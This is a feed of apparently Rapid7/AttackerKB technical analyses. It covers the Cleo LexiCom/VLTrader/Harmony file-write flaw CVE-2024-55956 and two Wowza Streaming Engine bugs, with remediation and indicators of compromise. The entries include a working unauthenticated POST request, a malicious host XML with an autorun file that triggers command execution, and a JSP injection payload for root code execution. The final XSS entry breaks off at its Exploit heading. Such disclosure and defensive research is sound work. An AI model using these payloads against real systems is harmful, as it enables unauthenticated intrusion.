Activity Feed

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based on performing the technical analysis of this vulnerability, and writing a working exploit, I have rated the Attacker Value as Very High, as the target software is a file sharing system, and we know this is being exploited in the wild. I have rated the Exploitability as Very High, as unauthenticated RCE can be achieved by performing two HTTP POST requests against a target system, and the target is vulnerable in a default configuration.

Technical Analysis

Overview

On December 9, 2024, multiple security firms began privately reporting exploitation in the wild targeting the Cleo file transfer products LexiCom, VLTrader, and Harmony. The exploitation was initially thought to target an insufficient patch for CVE-2024-50623, an unrestricted file upload and download vulnerability that Cleo had patched in October 2024. On December 10, however, Cleo published a fresh advisory for a new critical vulnerability that allowed unauthenticated users to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of Cleo’s Autorun directory. On December 13, the CVE identifier CVE-2024-55956 was assigned to the new vulnerability.

Rapid7 and others, including security firm Huntress, who first broke the news of the threat campaign, have observed exploitation in the wild across multiple customer environments. Rapid7 has observed enumeration and post-exploitation activity; our team has an analysis here of a modular Java backdoor dropped as part of this campaign. Notably, Huntress indicated exploitation was detected as early as December 3, 2024.

CVE-2024-55956 is an unauthenticated file write vulnerability that can be leveraged to achieve unauthenticated RCE against a vulnerable system.

The following product versions are affected by CVE-2024-55956:

  • Cleo LexiCom, versions 5.8.0.23 and below.
  • Cleo VLTrader, versions 5.8.0.23 and below.
  • Cleo Harmony, versions5.8.0.23 and below.

What was CVE-2024-50623?

Before we can explore the new vulnerability, CVE-2024-55956, we must first understand an older vulnerability, CVE-2024-50623, and how it relates to CVE-2024-55956.

There has been some confusion as to what specific vulnerability has been leveraged during the exploitation that occurred circa December 2024, due to a similar vulnerability CVE-2024-50623, having been patched in version 5.8.0.21 circa October 2024. The vendor guidance for CVE-2024-50623 indicates that CVE-2024-50623 was exploited in the wild circa October 2024, and several IOCs related to webshells were published from this time.

CVE-2024-50623 is an unauthenticated file read and write vulnerability that allows a remote attacker to both read arbitrary files from the target system and write arbitrary files to the target system. Security firm watchTowr published a technical analysis of this vulnerability.

CVE-2024-50623 was patched in version 5.8.0.21 on October 29, 2024. However, version 5.8.0.21 of all three Cleo products was still vulnerable to the new issue, CVE-2024-55956.

Both CVE-2024-50623 and CVE-2024-55956 are unauthenticated file write vulnerabilities, due to separate issues in the /Synchronization endpoint. Therefore CVE-2024-55956 is not a patch bypass of CVE-2024-50623, but rather a new vulnerability. It is also worth highlighting that while CVE-2024-50623 allows for both reading and writing arbitrary files, CVE-2024-55956 only allows for writing arbitrary files. This is an important distinction, as we will see in a moment.

It is worth mentioning the exploitation strategy that was observed during exploitation in the wild for both of these vulnerabilities. According to the IOCs published by Cleo for CVE-2024-50623, CVE-2024-50623 was leveraged to write malicious HTML to the webserver\AjaxSwing\conf\templates\default-page\body-footerVL.html file. This was then leveraged to achieve server-side template injection (SSTI), and in turn execute an attacker-controlled payload in the form of a Nashorn webshell. The webshell can be found on VirusTotal here and was upload to VirusTotal on October 24, 2024.

The exploitation strategy for CVE-2024-55956 was observed to be very different. Rather than leveraging an SSTI to get RCE, the attackers instead leveraged the ability to import a malicious host file and then run malicious actions to execute OS commands. Specifically, adversaries used the unauthenticated file write vulnerability (CVE-2024-55956) to write a Zip file containing a malicious XML file describing a new host. The malicious XML file contained a Mailbox action associated with the new host, which when run would execute an arbitrary OS command. A second file was then written to the system to force this Zip file to be imported into the system, thus registering a new host. Finally the malicious Mailbox action was forced to run, thus executing a payload. More information about the XML file format for hosts can be found in the vendor documentation here.

In summary, while these two vulnerabilities (CVE-2024-50623 and CVE-2024-55956) are similar in that both allow an unauthenticated attacker to write arbitrary files, the exploitation strategy in each case was very different.

It should be noted that the exploitation strategy used is separate from the vulnerability itself. The vendor has described CVE-2024-55956 as a “Malicious Hosts Vulnerability”, but this describes the exploitation strategy rather than the root cause of the actual vulnerability (unauthenticated file write).

While researching how to leverage the SSTI exploitation strategy, Rapid7 determined that the SSTI was unable to be triggered without authentication. So while CVE-2024-50623 allowed for an unauthenticated attacker to write a malicious HTML file that leveraged an SSTI, the attacker then required credentials to access the malicious HTML, thus triggering the SSTI. It’s likely the attacker achieved this by also leveraging CVE-2024-50623 to read user credentials from a target system (remembering that CVE-2024-50623 is both an arbitrary file read and write vulnerability).

With this in mind, it becomes clear why a different exploitation strategy was needed for CVE-2024-55956, as CVE-2024-55956 is only an arbitrary file write vulnerability and does not have the ability to read arbitrary files. Therefore, to exploit CVE-2024-55956, the attacker needed an exploitation strategy that would work without the requirement to read credentials in order to trigger an SSTI and get remote code execution.

Analysis (CVE-2024-55956)

Our analysis was based upon Cleo LexiCom, version 5.8.0.21.

To reach the arbitrary file write vulnerability, the attacker must make an HTTP POST request to the /Synchronization endpoint. Requests to this endpoint are served by the method LexiCom.jar!com.cleo.lexicom.Syncer#syncIn, as shown below.

A malicious request can supply an HTTP header of VLSync, with a value of Multipart;l=0,Acknowledge. By adding the string Acknowledge to the header value, the checks at [1] can be skipped, allowing further processing to occur from an unauthenticated request. By adding the string Multipart to the header value, the token check at [2] will pass and the method multipartIn will be called, shown at [3] below.

// LexiCom.jar!com.cleo.lexicom.Syncer#syncIn
public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
	int statusCode = 500;
	InputStream in = null;
	int len = 0;

	try {
		try {
			in = httpRequest.getInputStream();
			len = httpRequest.getContentLength();
			boolean found = false;
			Enumeration headers = httpRequest.getHeaderNames();

			while(headers.hasMoreElements()) {
				String header = (String)headers.nextElement();
				if (header.equalsIgnoreCase(SYNC_HEADER)) {
					found = true;
					String value = httpRequest.getHeader(header);
					String serialNumber = getDecodedParameterValue(value, "l", true);
					String sourceIpAddress = (String)httpRequest.getAttribute("com.cleo.lexicom.remoteIP");
					if (!hasToken(value, START) && !hasToken(value, MISC_PERMISSION) && !hasToken(value, ACKNOWLEDGE)) { // <--- [1]
						SyncVersalexThread thread = this.findThread(serialNumber);
						if (thread == null) {
							String message = String.format("Received a synchronization request for an unrecognized %s serial number '%s' from source address %s.", LexHostBean.PRODUCT, serialNumber, sourceIpAddress);
							LexiCom.logDetail(new Object(), 0, message, "orange", true, true, true);
							short var39 = 401;
							return var39;
						}

						if (!sourceIpAddress.equals(thread.sourceIpAddress)) {
							String message = String.format("Received a synchronization request for a recognized %s serial number '%s', but from an unauthorized source address %s.", LexHostBean.PRODUCT, serialNumber, sourceIpAddress);
							LexiCom.logDetail(new Object(), 0, message, "orange", true, true, true);
							short var14 = 401;
							return var14;
						}
					}

					if (hasToken(value, START)) {
						statusCode = this.startIn(value, httpRequest.getHeader(ACK_HEADER), sourceIpAddress, httpResponse);
						httpResponse.setHeader(VERSION_HEADER, LexiCom.getVersion());
						if (statusCode == -403) {
							statusCode = 403;
						}
						break;
					}

					if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
						if (hasToken(value, MULTIPART)) { // <--- [2]
							this.debug(serialNumber, IN, REQUEST, value);
							statusCode = this.multipartIn(value, httpRequest.getHeader("Content-Type"), in); // <--- [3]
							this.debug(serialNumber, OUT, RESPONSE, SyncVersalexThread.getResponse((HTTPResponse)null, statusCode) + " (" + value + ")");
							break;
						}

The method LexiCom.jar!com.cleo.lexicom.Syncer#multipartIn will process an incoming HTTP multipart request. An HTTP multipart request with the following content data can reach the file write vulnerability.

VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/hax.txt";receiptfolder=Unspecified;
--------boundary
HAX

The first line of the multipart data will be split into a colon-separated key-value pair, shown below at [4]. If the key is the string value VLSync (i.e. SYNC_HEADER), the check (shown below at [5]) will pass, and the value will be checked to contain a string token of ReceivedReceipt (i.e. RECEIVED_RECEIPT). If found, the method receivedReceiptIn will be called (shown below at [7]).

// LexiCom.jar!com.cleo.lexicom.Syncer#multipartIn
private int multipartIn(String header, String contentType, InputStream in) throws Exception {
	int statusCode = 200;
	String serialNumber = getDecodedParameterValue(header, "l", true);
	SyncVersalexThread thread = this.findThread(serialNumber);
	this.updateIn(thread);
	String boundary = Util.getParameter("boundary", contentType);
	boundary = Util.dequoteString(boundary);
	MultipartInputStream multipartIn = new MultipartInputStream(in, boundary.getBytes());
	byte[] bytes = new byte[8196];

	try {
		do {
			int read = multipartIn.readLine(bytes, 0, bytes.length);
			if (read > 0) {
				String line;
				for(line = new String(bytes, 0, read); line.endsWith("\r") || line.endsWith("\n"); line = line.substring(0, line.length() - 1)) {
				}

				this.debug(serialNumber, IN, REQUEST, MULTIPART + ": " + line);
				multipartIn.readLine(bytes, 0, bytes.length);
				int colon = line.indexOf(:); // <--- [4]
				if (colon >= 0) {
					String key = line.substring(0, colon);
					String value = line.substring(colon + 1).trim();
					if (key.equals(SYNC_HEADER)) { // <--- [5]
						if (hasToken(value, RECEIVED_MESSAGE_ID)) {
							this.msgIdIn(serialNumber, value);
						} else if (hasToken(value, SENT_RECEIPT)) {
							if (!this.sentReceiptIn(serialNumber, value, multipartIn)) {
								statusCode = 400;
							}
						} else if (hasToken(value, RECEIVED_RECEIPT)) { // <--- [6]
							if (!this.receivedReceiptIn(serialNumber, value, multipartIn)) { // <--- [7]

The method LexiCom.jar!com.cleo.lexicom.Syncer#receivedReceiptIn will extract several parameter values from the multipart requests VLSync value, specifically a service, msgId, path, and a receiptfolder value.

The attacker-controlled service value is used to look up a service from a table of services the system supports, for example SMTP, Web Browser, or AS2. Requesting the AS2 service will retrieve an instance of the AS2::Local Listener service bean, shown below at [8].

The attacker-controlled receiptfolder value will be passed to the method checkReceiptFolder, shown below at [9]. If receiptfolder is either null or the string value Unspecified, then checkReceiptFolder will return true (shown below at [10]).

The attacker-controlled path value is then set to a SyncMetadata value, shown at [11] below, before being passed to a method call to receivedReceipt, shown at [12] below.

// LexiCom.jar!com.cleo.lexicom.Syncer#receivedReceiptIn
private boolean receivedReceiptIn(String serialNumber, String header, InputStream in) throws Exception {
	String service = getParameterValue(header, "service", false);
	String messageId = getParameterValue(header, "msgId", false);
	String path = getParameterValue(header, "path", false);
	String receiptFolder = getParameterValue(header, "receiptfolder", false);
	LexLocalHostBean localhost = LexiCom.activeXMLproxy.getLocalHost();
	if (localhost != null) {
		LexServiceBean servicebean = localhost.getService(service); // <--- [8]
		if (servicebean != null) {
			if (!this.checkReceiptFolder(servicebean, receiptFolder, path)) { // <--- [9]
				return false;
			}

			SyncMetadata data = new SyncMetadata();
			data.setPath(path); // <--- [11]
			servicebean.receivedReceipt(messageId, in, data); // <--- [12]
		}
	}

	this.checkSyncAllMessageIdsAndReceipts(serialNumber);
	return true;
}


// LexiCom.jar!com.cleo.lexicom.Syncer#checkReceiptFolder
private boolean checkReceiptFolder(LexServiceBean servicebean, String receiptFolder, String path) throws Exception {
	if (receiptFolder != null && !receiptFolder.equals(UNSPECIFIED_RECEIPT_FOLDER) && !receiptFolder.equalsIgnoreCase(servicebean.getReceiptFolder())) {
		Exception ex = new Exception("The synced receipt storage folder location '" + servicebean.getReceiptFolder() + "' did not match the syncing receipt storage folder location '" + receiptFolder + "'. Receipt '" + path + "' was not synced!");
		LexiCom.logDetail(this, ex, true, true, true);
		return false;
	} else {
		return true; // <---- [10]
	}
}	

In the AS2::Local Listener implementation of receivedReceipt, we can see the HTTP request’s input stream is read from and stored in a byte array called mdnBytes, shown at [13] below. This data will contain the remaining attacker-controlled data from the HTTP multipart request. The method saveMdn is then called, shown at [14] below.

// as2bean.jar!com.cleo.lexicom.beans.as2bean.AS2Service#receivedReceipt
public void receivedReceipt(String messageId, InputStream in, SyncMetadata data) throws Exception {
	ServiceUtility util = new ServiceUtility(this.getAlias(), "AS2", this.mdnFolder);
	byte[] mdnBytes = util.readMdnStream(in); // <--- [13]
	LexFile receivedMDN = util.saveMdn(messageId, mdnBytes, "received", data); // <--- [14]
	util.addTrackingInfo(receivedMDN, mdnBytes, messageId);
}

The above call to the method as2bean.jar!com.cleo.lexicom.beans.as2bean.ServiceUtility#saveMdn is passed an attacker-controlled path via the data parameter, and attacker-controlled bytes to write via the mdnBytes parameter.

The attacker-controlled path is resolved via a call to checkAndDeriveMdnPath at [15] below, before a new LexFile instance is created for this file path. Finally, the attacker-controlled bytes are written to the file located at the attacker-controlled path, shown at [16] below.

// as2bean.jar!com.cleo.lexicom.beans.as2bean.ServiceUtility#saveMdn
protected LexFile saveMdn(String messageId, byte[] mdnBytes, String mdnType, SyncMetadata data) throws Exception {
	if (mdnBytes == null) {
		return null;
	} else {
		OutputStream out = null;
		LexFile mdn = null;
		String mdnPath = this.checkAndDeriveMdnPath(messageId, mdnBytes, mdnType, data); // <--- [15]

		try {
			mdn = new LexFile(mdnPath);
			if (!mdn.exists()) {
				LexFile folder = LexBean.getAbsolute(new LexFile(mdn.getParentFile()));
				if (!folder.exists()) {
					folder.mkdirs();
				}

				out = new BufferedOutputStream(LexIO.getFileOutputStream(mdn, false, true, false));
				out.write(mdnBytes); // <--- [16]
			}
		} finally {
			try {
				if (out != null) {
					out.close();
				}
			} catch (IOException var14) {
			}

		}

		return mdn;
	}
}

Note that, while the multipart request token value of ReceivedReceipt is used to reach an arbitrary file write operation via the method as2bean.jar!com.cleo.lexicom.beans.as2bean.AS2Service#receivedReceipt, a different multipart request token value of SentReceipt can also be used to reach the same arbitrary file write operation, via the method as2bean.jar!com.cleo.lexicom.beans.as2bean.AS2Service#sentReceipt in the same affected AS2 service. Both arbitrary file write operations are ultimately performed by the method as2bean.jar!com.cleo.lexicom.beans.as2bean.ServiceUtility#saveMdn.

Based upon the above, the following POST request allows an unauthenticated attacker to write arbitrary data to an arbitrary file on the target system.

POST /Synchronization HTTP/1.1
Host: 192.168.86.50:5080
Connection: close
Content-Type: application/form-data;boundary=--------boundary
VLSync: Multipart;l=0,Acknowledge
Content-Length: 119

VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/hax.txt";receiptfolder=Unspecified;
--------boundary
HAX

Exploitation

To exploit this file write vulnerability, the exploitation strategy observed being used in the wild involves the following two steps.

First a Zip file is written to a location on the target system. This Zip file will contain an XML file describing a host. The host XML file will contain a malicious Mailbox action. When the malicious Mailbox action is run, it will execute an attacker-controlled OS command.

With this Zip file written to disk, the attacker must first import the Zip file in order to add the new host to the system. With the host added to the system, the attacker must then force the new host’s malicious Mailbox action to run, thus executing the attacker’s payload in the form of a malicious OS command.

For example, the following XML file (modified from the observed IOCs) will describe a new host, with a malicious Mailbox action, which in the example below will simply execute the notepad.exe application.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="d7cc2490-03a9-48a8-8afd-bd7042cfdbd5" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="9572464e-78b5-4635-8a3b-0b9799dd8bf9" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="d630a5eb-2c5a-42e6-9540-77c2ba510622" version="1">
  <Connecttype>0</Connecttype>
  <Inbox>inbox</Inbox>
  <Index>0</Index>
  <Indexdate>-1</Indexdate>
  <Internal>0</Internal>
  <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
  <Origin>Local Commands</Origin>
  <Outbox>outbox</Outbox>
  <Port>0</Port>
  <Runninglocalrequired>True</Runninglocalrequired>
  <Secureportrequired>False</Secureportrequired>
  <Uidswpd>True</Uidswpd>
  <Advanced>ZipCompressionLevel=System Default</Advanced>
  <Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityIncomingWeight=10</Advanced>
  <Advanced>PGPHashAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityOutgoingWeight=10</Advanced>
  <Advanced>PGPCompressionAlgorithm=System Default</Advanced>
  <Advanced>OutboxSort=System Default</Advanced>
  <Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
  <Mailbox alias="efc76ba0-20ad-47cd-954c-cd5d5b46d33d" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="b7db25c7-895e-440d-9217-92b2ccd522eb" version="1">
    <Action actiontype="Commands" alias="6cad07d8-b297-4dea-b0ea-c6f0381e4167" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="a8b691ff-032e-4fb6-bebc-e65a3032edcd" version="2">
      <Autostartup>False</Autostartup>
      <Commands><![CDATA[SYSTEM cmd.exe /c "notepad.exe"]]></Commands>
      <Filesin>0</Filesin>
      <Filesout>0</Filesout>
      <Ssl>False</Ssl>
    </Action>
  </Mailbox>
</Host>

Note that in the example above, the new host will have a GUID value of d7cc2490-03a9-48a8-8afd-bd7042cfdbd5, the Mailbox will have a GUID value of efc76ba0-20ad-47cd-954c-cd5d5b46d33d, and the Mailbox action will have a GUID value of 6cad07d8-b297-4dea-b0ea-c6f0381e4167. These GUID values can be chosen by the attacker and are required to run the Mailbox action, as shown below.

To both import the new host and run the malicious Mailbox action, the attacker can leverage the autorun folder on the target system. Any file written to the autorun folder will be automatically processed by the server. This allows operations such as importing and running actions to be performed. Importing can be performed via the -i switch, and running an action can be performed via the -r switch. More information about the different commands that can be run via autorun files, and their syntax, can be found in the vendor documentation here.

When a file with the below contents is written to the autorun folder, it will trigger RCE.

-i "temp/malicious_host_zip.tmp"
-r "<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5"

Therefore, by leveraging CVE-2024-55956 to write two files to the target system, an unauthenticated attacker can achieve RCE.

On a Windows target, the attacker executes code with local system privileges, as shown below.

cleo_rce.jpg

Remediation

On Dec 11, 2024, Cleo released a patch, version 5.8.0.24, which remediates CVE-2024-55956. The patch release notes contained the following description of the fix:

Addresses a critical vulnerability which exploits the ability for unrestricted file upload and download and execute malicious host definitions in the product (pending CVE). After applying the patch, errors are logged for any files found at startup related to this exploit, and those files are removed.

Rapid7 has verified that the vulnerability, as described in this analysis, is successfully remediated by applying the vendor patch.

IOCs

Successful exploitation of CVE-2024-55956 will leave several artifacts in the product log files (assuming the attacker has not cleared the logs).

The log file C:\LexiCom\logs\LexiCom.dbg will contain some detailed information about the incoming requests that the /Synchronization endpoint has. For example, below we can see a malicious multipart request that writes a file temp/vovfxqcz.tmp (the malicious host Zip file), and a second request that write a file autorun/zzsgdmja.tmp to both import the host and run the malicious Mailbox action. Finally we can see the attacker’s payload command being executed, which in the example below was simply to execute the notepad.exe application.

We can also note that the incoming requests contain the Multipart identifier, as well as service="AS2", which is the service that performs the arbitrary file write.

02:39:13 LexiCom.syncer 0 Request In <<< Multipart;l=0,Acknowledge
02:39:13 LexiCom.syncer 0 Request In <<< Multipart: VLSync: ReceivedReceipt;service="AS2";msgId=nneaksbm;path="temp/vovfxqcz.tmp";receiptfolder=Unspecified;
02:39:13 LexiCom.syncer 0 Response Out >>> 200  OK (Multipart;l=0,Acknowledge)
02:39:13 LexiCom.syncer 0 Request In <<< Multipart;l=0,Acknowledge
02:39:13 LexiCom.syncer 0 Request In <<< Multipart: VLSync: ReceivedReceipt;service="AS2";msgId=waxhmtmt;path="autorun/zzsgdmja.tmp";receiptfolder=Unspecified;
02:39:13 LexiCom.syncer 0 Response Out >>> 200  OK (Multipart;l=0,Acknowledge)
Fri Dec 13 02:39:14 PST 2024 XMLProxy.checkAlias - className: .LocalCommandsHost

SYSTEM command >cmd.exe /c "notepad.exe"< starting...

SYSTEM command >cmd.exe /c "notepad.exe"< complete; success=>false<

The log file C:\LexiCom\logs\LexiCom.xml will contain some detailed information about the importing of a new host, running an action, and the actions command, which will show the payload used.

<Event>
<Detail level="0">Note: Processing autorun file 'autorun\zzsgdmja.tmp'.</Detail>
<Mark date="2024/12/13 02:39:14" EN="120"></Mark></Event>

<Event>
<Detail level="0" color="orange">Warning: LexiCom is version 5.8.0.0, but importing files from a VersaLex with an unknown version.</Detail>
<Mark date="2024/12/13 02:39:14" EN="121"></Mark></Event>

<Event>
<Detail level="0">Note: Import started for 'temp\LexiCom6334463427096703279.tmp'.</Detail>
<Mark date="2024/12/13 02:39:14" EN="122"></Mark></Event>

<Event>
<Detail level="0">Note: Importing 'hosts\main.xml' (2.274 kBytes)...</Detail>
<Mark date="2024/12/13 02:39:14" EN="123"></Mark></Event>

<Event>
<Detail level="0">Note: Import complete.</Detail>
<Mark date="2024/12/13 02:39:14" EN="124"></Mark></Event>

<Event>
<Thread type="AutoRun" action="&lt;0d333d87-bcdf-46e2-b26f-14dea9f3ec5c&gt;391b52b5-b18e-4578-b57b-bb10e0a8eff8@184cba98-c715-4192-8c8f-2bdb5610db12" actionId="Ge8Ft44nRpyaMeC5CGdjpA" connectionId="4fic-bIFQwGOPZ77BFX7qw"></Thread>
<Mark date="2024/12/13 02:39:16" TN="12" EN="125"></Mark></Event>

<Event>
<Command text="SYSTEM cmd.exe /c &quot;notepad.exe&quot;" type="System" line="1"></Command>
<Mark date="2024/12/13 02:39:16" TN="12" CN="1" EN="126"></Mark></Event>

<Event>
<Detail level="1">Executing 'cmd.exe /c "notepad.exe"'; successful return status is '0'; waiting for process to complete...</Detail>
<Mark date="2024/12/13 02:39:16" TN="12" CN="1" EN="127"></Mark></Event>

<Event>
<Result text="Error" command="SYSTEM cmd.exe /c &quot;notepad.exe&quot;" line="1" runtype="AutoRun">Return status=1</Result>
<Mark date="2024/12/13 02:39:22" TN="12" CN="1" EN="128"></Mark></Event>

Any files written to the C:\LexiCom\autorun\ folder will be deleted by the product after they have been automatically processed, so this folder is likely to remain empty.

If the attacker stages the malicious Zip file in the C:\LexiCom\temp\ folder, it may still be present, unless the attacker has either manually removed it or written this file to a different location.

References

1
Ratings
Technical Analysis

to be published soon.

1
Ratings
Technical Analysis

Wowza Streaming Engine below v4.9.1 on Windows and Linux is vulnerable to high-privilege remote code execution via the Manager HTTP service (port 8088). An authenticated Wowza Streaming Engine administrator can define a custom application property and poison a stream target for remote code execution as root on the host system. Notably, this vulnerability can be chained with CVE-2024-52053 by an unauthenticated attacker to automatically trigger arbitrary code execution on the server when an admin views the dashboard.

Target Software

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application. The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research.

Analysis

Wowza Streaming Engine administrators can create new video applications from the Streaming Engine Manager web dashboard. In addition to a variety of default application properties, custom properties can be assigned as key-value entries in video application settings.

Screenshot depicting custom properties for applications

Furthermore, Wowza Streaming Engine features the ability to configure video applications to distribute live streams to CDNs. As outlined in the documentation, the custom application property pushPublishMapPath can be set to assign a JSON map file for stream targets. The recommended value is ${com.wowza.wms.context.VHostConfigHome}/conf/${com.wowza.wms.context.Application}/PushPublishMap.txt. An example of one such newly generated empty PushPublishMap.txt file is below.

# This file has been upgraded for use by the Wowza Streaming Engine REST API. Please avoid hand-editing.

Though the file is empty by default, Stream Targets can be configured to populate the file. The screenshots below depict this taking place for an ‘evilapp0’ Live Edge application. Placeholder data is submitted in form fields.

Screenshot depicting creation of a stream target

Screenshot depicting stream target details being edited

After clicking “Add this target”, a JSON string is added on a new line in the PushPublishMap.txt file.

# This file has been upgraded for use by the Wowza Streaming Engine REST API. Please avoid hand-editing.
name={"entryName":"target name", "profile":"rtmp", "wowzaVideoTranscoder.height":"0", "userName":"username", "streamName":"stream name", "wowzaVideoTranscoder.width":"0", "password":"password", "application":"destination", "destinationName":"wowzastreamingengine", "host":"host", "appInstance":"dest instance"}

Crucially, the expected “.txt” extension for the previously mentioned pushPublishMapPath property value is not validated. As a result, the file name, path, and extension for the above PushPublishMap file can be arbitrarily specified to facilitate remote code execution. In the context of a JSP web application, files in the web root with a “.jsp” extension will be treated as executable files.

An authenticated attacker can forego the recommended file path and name in favor of ${com.wowza.wms.context.VHostConfigHome}/manager/temp/webapps/enginemanager/static/PushPublishMap.jsp , which results in a file written in the web root directory with an executable JSP extension. As we’ve established, tainted data is included in the PushPublishMap file within JSON rows. Because of this, arbitrary JSP code can be injected into our executable file via the ‘userName’ JSON key value to gain remote code execution on the server.
Notably, in this JSON context, double quotes and commas are “bad characters” for Stream Target data; if bad characters are submitted in the Stream Targets fields, the resulting JSON data is truncated with a ‘null’ row. An example of this is shown below.

# This file has been upgraded for use by the Wowza Streaming Engine REST API. Please avoid hand-editing.
null={"entryName":"StreamTarget-1721859230601", "profile":"unknown", }

Now, we’ll show an example of arbitrary remote code execution via JSP injection within the ‘userName’ JSON key value. The StringBuilder class is used in our proof-of-concept exploit, since single quotes work for char definitions and double quotes can’t be used for string definitions. Multiple directive attributes are used for imports to avoid comma bad characters. When the malicious JSP file is accessed from a web browser, the code will execute and a new file called “rce” will be created in the /tmp folder on the host. This payload is shown below.

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><% StringBuilder filePath = new StringBuilder(); filePath.append('/').append('t').append('m').append('p').append('/').append('r').append('c').append('e'); String concatFile = filePath.toString(); File file = new File(concatFile); file.createNewFile(); %>

After injecting the payload into the JSON via userName, browsing to the newly-written PushPublishMap.jsp file reveals that the file is in the expected location. The JSP scripts injected into the userName value are not visible, indicating that they’ve been processed by the Java web server. Since the page returns a “200” status, the code appears to have been executed successfully.

Screenshot depicting execution of the injected script

This is confirmed by viewing the /tmp directory on the host, where a root-owned file called “rce” has been created. This indicates remote code execution on the host has been achieved.

Screenshot depicting RCE proof

Per Wowza documentation, the code execution context is privileged – root on Linux, LocalSystem on Windows. The AttackerKB entry for CVE-2024-52053 contains an exploit payload that chains an unauthenticated injection vulnerability with CVE-2024-52052 for unauthenticated root RCE with passive user interaction.

1
Ratings
Technical Analysis

Wowza Streaming Engine below v4.9.1 on Windows and Linux is vulnerable to stored Cross-Site Scripting (XSS). An attacker with unauthenticated access to the Streaming Engine Manager HTTP service (port 8088) can inject JavaScript into application logs. When an administrator views the log dashboard, the injected code will automatically execute and hijack the administrator’s account. Notably, this vulnerability can be chained with CVE-2024-52052 by an unauthenticated attacker to automatically run arbitrary code on the server with high privileges when an admin views the dashboard.

Target Software

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application. The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research.

Analysis

When a user fails to login to Wowza Streaming Engine Manager, the log file at manager/logs/wmsmanager_access.log is updated with the failed login.

2024-07-24      12:41:58        CDT     server  -       WARN    server  REST API: Authentication-401: Accessed denied for user:doesnotexist
2024-07-24      12:41:58        CDT     server  -       INFO    server  WowzaHttpSessionListener.sessionCreated: 3250824A53666E6128430CD2451CEE96

The administrator dashboard contains a ‘Logs’ tab that displays Wowza Streaming Engine Manager log data. Client-side code on the dashboard makes a request to the /enginemanager/server/logs/getlog.jsdata API endpoint, which returns JSON containing log file data. An example of this JSON log data for the above login failure is shown below. Note that the attacker-provided username is embedded in the JSON.

"logLines":[{"data":["WARN ","<b>2024-07-30</b><br>12:41:58 (CDT)","server","<b>server</b><br>-","REST API: Authentication-401: Accessed denied for user:doesnotexist"]}]

Client-side JavaScript embedded in /enginemanager/Home.htm, which is used by the ‘Logs’ dashboard, unsafely uses innerHTML to write this attacker-provided data to the DOM. At [1], the tainted data that is sourced from the API’s JSON response is assigned to a variable. At [2], JavaScript’s innerHTML is used, unsafely concatenating the attacker’s input into the DOM.

function addTableData(tbody, tableHeadings, logLines, prepend) {
    // for each entry in the logLines list add a row to the table body
    for(var i = 0; i < logLines.length; i++) {
        var data = logLines[i].data;
        var tr ;
        if (prepend) {
        	tr = tbody.insertRow(0);
        } else {
        	tr = tbody.insertRow();
        }
        
        // for each table column, get the cell text from logline data
    	for (var j = 0; j < tableHeadings.length; j++) {
    		var text = data[j]; // [1]
        	var td = tr.insertCell(j);
        	var cellDiv = document.createElement("div");
        	td.appendChild(cellDiv);
    		cellDiv.style.wordWrap = 'break-word';
			if (text == "ERROR")
				text = "<div style='font-size: 23px'><I class='fa fa-times-circle' style='color:#b94a48'></i></div>";
			else if (text == "WARN")
				text = "<div style='font-size: 23px'><I class='fa fa-exclamation-triangle' style='color:#fbab00'></i></div>";
			else if (text == "DEBUG")
				text = "<div style='font-size: 23px'><I class='fa fa-bug' style='color:#3CA91F'></i></div>";
			else if (text == "INFO")
				text = "<div style='font-size: 23px'><I class='fa fa-exclamation-circle' style='color:#3d73a5'></i></div>";
				
    		cellDiv.innerHTML = text; // [2]
    	}
    }
}

The screenshot below depicts hitting a breakpoint in the Chrome Developer Tools when cellDiv.innerHTML is used to unsafely concatenate tainted log data into the DOM.

Screenshot depicting tainted data being concatenated

Since the Spring framework does not encode usernames that fail logins, an unauthenticated attacker can inject JavaScript in the j_username parameter with an invalid password. When an administrator views the ‘Logs’ dashboard, the JavaScript will automatically execute and hijack their browser.

Exploit

